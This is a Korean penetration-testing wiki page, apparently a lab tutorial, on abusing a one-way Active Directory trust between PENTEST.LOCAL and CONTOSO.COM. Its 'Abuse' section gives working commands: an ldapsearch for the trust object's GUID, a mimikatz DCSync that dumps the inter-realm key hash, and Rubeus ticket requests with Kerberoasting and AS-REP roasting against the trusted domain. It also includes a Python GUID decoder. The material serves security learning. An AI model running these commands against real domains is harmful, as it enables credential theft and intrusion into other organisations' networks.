펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Parent & Child
    • Two-way Trust
    • One-way Trust
    • External Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Abuse
  • Practice

Was this helpful?

Export as PDF
  1. Domain Trust

One-way Trust

PreviousTwo-way TrustNextExternal Trust

Last updated 5 hours ago

Was this helpful?

트러스트는 일방향일 수도 있고 양방향일 수도 있으며, 전이적일 수도, 비전이적일 수도 있습니다. 먼저 일방향 트러스트는 신뢰하는 도메인과 신뢰받는 도메인이라는 개념으로 시작합니다.

일방향 신뢰 관계는 서로가 서로의 리소스에 대해 접근하도록 허용하는 것이 아닌, 일방적으로 한 쪽만이 신뢰하고 접근할 수 있는 관계입니다. 위 그림에서는 왼쪽의 도메인이 오른쪽을 신뢰하고, 오른쪽의 도메인이 왼쪽 도메인의 리소스에 대해 접근할 수 있습니다.

본인 도메인에 접근하도록 허용하는 도메인(왼쪽 도메인)을 신뢰하는 도메인(Trusting Domain)이라 부르고, 신뢰를 받기 때문에 외부 도메인의 리소스에 접근할 수 있는 도메인(오른쪽 도메인)을 신뢰받는 도메인(Trusted Domain)이라고 부릅니다.

일방향 신뢰 관계는 신뢰받는 객체와 신뢰하는 객체로 나뉘며, 신뢰받는 객체가 일방적으로 신뢰하는 객체의 리소스에 대해 접근할 수 있는 권한을 가집니다. 일방향 신뢰 관계 구축 시, 신뢰하는 도메인에는 신뢰받는 도메인의 NetBIOS 이름으로 한 계정이 생성됩니다. 이 계정은 로그인을 위한 계정은 아니며, 리소스 접근 시 자격 증명 인증하기 위한 계정입니다.

실습 환경에서 PENTEST.LOCAL 도메인 객체는 CONTOSO.COM에 접근하지 못하지만, 그 반대는 가능한 신뢰 관계입니다. 이러한 일방향 신뢰 관계가 신뢰하는 도메인(PENTEST.LOCAL)에서는 Outbound Direction이고, 신뢰 받는 도메인(CONTOSO.COM)에서는 Inbound Direction으로 표기됩니다.

비록 공식적으로 PENTEST.LOCAL에서 CONTOSO.COM으로 접근할 수 있는 수단은 없지만, PENTEST.LOCAL을 장악하는데 성공하여 Inter-realm Key를 탈취했다면 신뢰 계정의 자격 증명을 사용하여 신뢰받는 도메인에 일부 접근하는 것이 가능합니다.

Abuse

# Inter-realm Key GUID 검색
ldapsearch -x -H ldap://192.168.1.9 -D "Attack3r@pentest.local" -w "Password123!" -b "dc=pentest,dc=local" "(objectClass=trustedDomain)" objectGUID

# GUID에 대한 NT 해시 덤프(in Windows Shell)
mimikatz # lsadump::dcsync /domain:PENTEST.LOCAL /guid:{b6e160a5-497a-4516-8855-e73742b951ed}

# 티켓 생성 및 후속 공격
.\Rubeus.exe asktgt /user:PENTEST$ /domain:CONTOSO.COM /rc4:1964389c190cb3e314df7fd493b361f7 /nowrap /ptt
.\Rubeus.exe kerberoast /domain:CONTOSO.COM
.\Rubeus.exe asreproast /domain:CONTOSO.COM

Practice

외부 도메인에 대해 공격을 진행하기 위해선 영역 간 공유 키(Inter-realm Key)가 필요합니다. 이 키는 사람이 사용하지 않는 형식의 패스워드로, 30일마다 변경되기 때문에 현실적으로는 도메인을 장악한 뒤, DCSync로 탈취할 수 있습니다.

신뢰하는 도메인에는 신뢰 계정이 없기 때문에 TDO의 GUID를 덤프한 뒤, 해당 GUID에 대한 해시 패스워드를 가져와야 합니다. ldapsearch 결과로 반환되는 GUID는 디코딩 후 리틀 앤디안에서 표준 형식으로 변경하는 작업이 필요하기 때문에 파이썬 코드를 사용하여 변환합니다.

GUID 디코딩 코드
import base64
import uuid

# base64 문자열
b64_guid = ''

raw_bytes = base64.b64decode(b64_guid)
guid = str(uuid.UUID(bytes_le=raw_bytes))
print("GUID:", guid)

획득한 TDO의 GUID를 통해 해시 정보를 덤프합니다. 여기서 획득하는 해시 정보가 영역 간 공유 키입니다.

현재 실습 환경에서는 External-Trust(외부 신뢰)이기 때문에 신뢰되는 도메인(CONTOSO.COM)에는 PENTEST$ 계정이 생성되어 있으며, 이 계정의 해시 패스워드는 방금 전에 획득한 Inter-realm Key와 동일한 값을 갖는다는 것을 추론할 수 있습니다.

따라서 CONTOSO.COM\PENTEST$ 계정으로 TGT를 발급받은 뒤, 이 티켓을 사용하여 CONTOSO.COM 도메인에 대한 커버로스팅 등의 공격이 가능합니다.

Trust Type
TDO GUID 획득
Inter-realm Key
CONTOSO.COM\PENTEST$ TGT 발급
CONTOSO.COM에 대한 후속 공격